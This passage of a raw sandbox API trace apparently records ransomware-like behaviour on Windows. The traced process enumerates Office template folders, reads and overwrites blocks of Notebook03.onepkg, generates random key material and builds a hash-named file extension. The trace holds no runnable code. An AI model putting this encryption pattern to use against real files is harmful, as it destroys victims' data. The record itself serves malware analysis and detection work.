DestinationString="d3d38913119f5fc11a47ca54f925084a5a564f94b2eca56160b924b18154c819c7ab369e8acbab8c1e13a5262dcfe98502ab1f75") [0207.536] RtlAnsiStringToUnicodeString (in: DestinationString=0x37f1f718, SourceString="d3d38913119f5fc11a47ca54f925084a5a564f94b2eca56160b924b18154c819c7ab369e8acbab8c1e13a5262dcfe98502ab1f75", AllocateDestinationString=1 | out: DestinationString="d3d38913119f5fc11a47ca54f925084a5a564f94b2eca56160b924b18154c819c7ab369e8acbab8c1e13a5262dcfe98502ab1f75") returned 0x0 [0207.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x43157520 [0207.537] wcscat (in: _Dest=0x43145430, _Source="d3d38913119f5fc11a47ca54f9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d3d38913119f5fc11a47ca54f9") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d3d38913119f5fc11a47ca54f9" [0207.537] wcscat (in: _Dest=0x43145430, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d3d38913119f5fc11a47ca54f9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d3d38913119f5fc11a47ca54f9.2f9b60" [0207.537] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d3d38913119f5fc11a47ca54f9.2f9b60", NtPathName=0x37f1f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\d3d38913119f5fc11a47ca54f9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x430fcb30 Thread: id = 2125 os_tid = 0x14a4 [0139.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85d710 [0139.245] wcscpy (in: _Dest=0x1b85d710, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" [0139.245] wcscat (in: _Dest=0x1b85d710, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\" [0139.245] wcscat (in: _Dest=0x1b85d710, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*" [0139.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20501900 [0139.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x20501900 | out: lpFindFileData=0x20501900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d490 [0139.245] wcscmp (_String1=".", _String2=".") returned 0 [0139.245] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x20501900 | out: lpFindFileData=0x20501900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.246] wcscmp (_String1="..", _String2=".") returned 1 [0139.246] wcscmp (_String1="..", _String2="..") returned 0 [0139.246] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x20501900 | out: lpFindFileData=0x20501900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0139.246] wcscmp (_String1="14", _String2=".") returned 1 [0139.246] wcscmp (_String1="14", _String2="..") returned 1 [0139.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85d890 [0139.246] wcscpy (in: _Dest=0x1b85d890, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" [0139.246] wcscat (in: _Dest=0x1b85d890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\" [0139.246] wcscat (in: _Dest=0x1b85d890, _Source="14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" [0151.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86abc0 [0151.983] wcscpy (in: _Dest=0x1b86abc0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" [0151.983] wcscat (in: _Dest=0x1b86abc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\" [0151.983] wcscat (in: _Dest=0x1b86abc0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*" [0151.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b190 [0151.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c6d0 [0152.030] wcscmp (_String1=".", _String2=".") returned 0 [0152.030] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.030] wcscmp (_String1="..", _String2=".") returned 1 [0152.030] wcscmp (_String1="..", _String2="..") returned 0 [0152.030] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1 [0152.030] wcscmp (_String1="Notebook Templates", _String2=".") returned 1 [0152.030] wcscmp (_String1="Notebook Templates", _String2="..") returned 1 [0152.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac210 [0152.030] wcscpy (in: _Dest=0x202ac210, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" [0152.030] wcscat (in: _Dest=0x202ac210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\" [0152.030] wcscat (in: _Dest=0x202ac210, _Source="Notebook Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" [0152.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ad970 [0152.030] wcscpy (in: _Dest=0x202ad970, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" [0152.030] wcscat (in: _Dest=0x202ad970, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\" [0152.030] wcscat (in: _Dest=0x202ad970, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*" [0152.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9acb0 [0152.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c130 [0152.045] wcscmp (_String1=".", _String2=".") returned 0 [0152.045] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.045] wcscmp (_String1="..", _String2=".") returned 1 [0152.045] wcscmp (_String1="..", _String2="..") returned 0 [0152.045] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 1 [0152.045] wcscmp (_String1="Notebook03.onepkg", _String2=".") returned 1 [0152.045] wcscmp (_String1="Notebook03.onepkg", _String2="..") returned 1 [0152.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x119580 [0152.045] wcscpy (in: _Dest=0x119580, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" [0152.045] wcscat (in: _Dest=0x119580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\" [0152.045] wcscat (in: _Dest=0x119580, _Source="Notebook03.onepkg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\Notebook03.onepkg") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\Notebook03.onepkg" [0152.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\Notebook03.onepkg" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates\\notebook03.onepkg")) returned 0x20 [0152.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\Notebook03.onepkg", dwFileAttributes=0x20) returned 1 [0152.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\Notebook03.onepkg" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates\\notebook03.onepkg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25d0 [0152.052] GetFileSizeEx (in: hFile=0x25d0, lpFileSize=0x38dff5c0 | out: lpFileSize=0x38dff5c0*=1347838) returned 1 [0152.052] SetFilePointerEx (in: hFile=0x25d0, liDistanceToMove=0x1490fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.052] ReadFile (in: hFile=0x25d0, lpBuffer=0x38dff540, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38dff588, lpOverlapped=0x0 | out: lpBuffer=0x38dff540*, lpNumberOfBytesRead=0x38dff588*=0x4, lpOverlapped=0x0) returned 1 [0152.061] SetFilePointerEx (in: hFile=0x25d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500830 [0152.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500860 [0152.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500890 [0152.061] NtQuerySystemTime (in: CurrentTime=0x38dff480 | out: CurrentTime=0x38dff480*=132462177572710000) returned 0x0 [0152.061] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0xe4ccfa2 [0152.061] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x4a0b8c32 [0152.061] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x695baadb [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x1a660495 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x79e863da [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0xa1bcd88 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x73b14177 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x6206f8a4 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x7b90a01a [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x5489f473 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x15609862 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x3c647848 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x5b8c57e1 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x1a699609 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x4d90b4aa [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x62ca5b3e [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0xdc5955a [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x5efba551 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x2493731e [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x1f46d342 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x727b99c8 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x3571a560 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x64b61ab [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x18083176 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x37793d56 [0152.062] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x32bccb1e [0152.063] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x7ebdc1f8 [0152.063] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x67bd75d5 [0152.063] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x4975b220 [0152.063] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x6da8fa5e [0152.063] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x62cd8ff2 [0152.063] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x6464a715 [0152.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205008c0 [0152.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0152.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205008f0 [0152.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0152.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500890) returned 1 [0152.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500830) returned 1 [0152.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425b5d20 [0152.075] SetFilePointerEx (in: hFile=0x25d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.075] ReadFile (in: hFile=0x25d0, lpBuffer=0x425b5d20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38dff4e0, lpOverlapped=0x0 | out: lpBuffer=0x425b5d20*, lpNumberOfBytesRead=0x38dff4e0*=0x3c00, lpOverlapped=0x0) returned 1 [0152.125] SetFilePointerEx (in: hFile=0x25d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058b50 [0152.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8685c0 [0152.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500830 [0152.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500830) returned 1 [0152.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425c8970 [0152.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500830 [0152.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205009b0 [0152.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205009b0) returned 1 [0152.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8685c0) returned 1 [0152.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058b50) returned 1 [0152.126] WriteFile (in: hFile=0x25d0, lpBuffer=0x425c8970*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38dff4e0, lpOverlapped=0x0 | out: lpBuffer=0x425c8970*, lpNumberOfBytesWritten=0x38dff4e0*=0x3c00, lpOverlapped=0x0) returned 1 [0162.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425c8970) returned 1 [0162.982] SetFilePointerEx (in: hFile=0x25d0, liDistanceToMove=0xa5000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.982] ReadFile (in: hFile=0x25d0, lpBuffer=0x425b5d20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38dff4e0, lpOverlapped=0x0 | out: lpBuffer=0x425b5d20*, lpNumberOfBytesRead=0x38dff4e0*=0x3c00, lpOverlapped=0x0) returned 1 [0163.012] SetFilePointerEx (in: hFile=0x25d0, liDistanceToMove=0xa5000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0163.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0163.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b90 [0163.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b90) returned 1 [0163.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42588970 [0163.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b90 [0163.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19bc0 [0163.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19bc0) returned 1 [0163.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0163.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0163.015] WriteFile (hFile=0x25d0, lpBuffer=0x42588970, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38dff4e0, lpOverlapped=0x0) [0194.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42588970) returned 1 [0194.411] SetFilePointerEx (in: hFile=0x25d0, liDistanceToMove=0x1454fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.412] ReadFile (in: hFile=0x25d0, lpBuffer=0x425b5d20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38dff4e0, lpOverlapped=0x0 | out: lpBuffer=0x425b5d20*, lpNumberOfBytesRead=0x38dff4e0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.577] SetFilePointerEx (in: hFile=0x25d0, liDistanceToMove=0x1454fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba460 [0194.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a51e0 [0194.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a51e0) returned 1 [0194.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2046ff70 [0194.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a51e0 [0194.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5180 [0194.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5180) returned 1 [0194.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba460) returned 1 [0194.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.581] WriteFile (in: hFile=0x25d0, lpBuffer=0x2046ff70*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38dff4e0, lpOverlapped=0x0 | out: lpBuffer=0x2046ff70*, lpNumberOfBytesWritten=0x38dff4e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046ff70) returned 1 [0205.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fde0 [0205.379] SetFilePointerEx (in: hFile=0x25d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.379] WriteFile (in: hFile=0x25d0, lpBuffer=0x431f62a0*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x38dff590, lpOverlapped=0x0 | out: lpBuffer=0x431f62a0*, lpNumberOfBytesWritten=0x38dff590*=0x154, lpOverlapped=0x0) returned 1 [0215.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0215.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbbe0 [0215.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c20 [0215.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c20) returned 1 [0215.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a6c20 [0215.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7010 [0215.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6170 [0215.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6170) returned 1 [0215.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbbe0) returned 1 [0215.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0215.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce61560 [0215.886] sprintf (in: _Dest=0x1ce61560, _Format="%c%c" | out: _Dest="d6") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61562, _Format="%c%c" | out: _Dest="af") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61564, _Format="%c%c" | out: _Dest="50") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61566, _Format="%c%c" 